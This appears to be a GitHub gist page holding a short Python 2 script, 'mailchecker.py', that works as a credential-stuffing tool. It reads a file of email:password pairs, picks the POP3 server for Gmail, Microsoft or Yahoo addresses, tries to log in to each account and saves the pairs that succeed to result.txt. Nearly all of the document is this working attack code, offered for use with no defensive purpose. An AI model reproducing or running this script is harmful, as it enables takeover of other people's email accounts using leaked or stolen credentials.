Skip to content

Instantly share code, notes, and snippets.

@0xv
Created October 26, 2013 05:28
Show Gist options
  • Save 0xv/7165629 to your computer and use it in GitHub Desktop.
Save 0xv/7165629 to your computer and use it in GitHub Desktop.
huft
import sys, poplib
#i lost 100exp on dota 2 for create this shit.
#http://twitter.com/0xv
def save(log):
f = open('result.txt', 'a')
f.write(log)
def help():
print 'usage : ./mailchecker.py <emaillist>'
print 'ex: ./mailchecker.py maillist.txt'
print 'Note: format maillist: user@host.com:password\n'
def checkhost(email):
if '@gmail.com' in email or '@googlemail.com' in email:
return 'pop.gmail.com'
elif '@live.' in email or '@hotmail.' in email or '@outlook.' in email:
return 'pop3.live.com'
elif '@yahoo.' in email or '@ymail.' in email:
return 'pop.mail.yahoo.com'
def check(maillist):
try:
for m in maillist:
email = m.split(':')[0]
password = m.split(':')[1].strip('\n')
host = checkhost(email)
if login(host, email, password) == 1:
print '%s : %s oh yeah!' % (email,password)
log = '\r%s : %s' % (email,password)
save(log)
else:
print '%s : %s fail!' % (email,password)
except:
print 'something wrong!'
def login(host, email, password):
try:
host = poplib.POP3_SSL(host, 995)
host.user(email)
host.pass_(password)
return 1
except Exception,e :
print e
return 0
if __name__ == "__main__":
if len(sys.argv) != 2:
help()
exit(1)
maillist = sys.argv[1]
maillist = open(maillist)
check(maillist)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment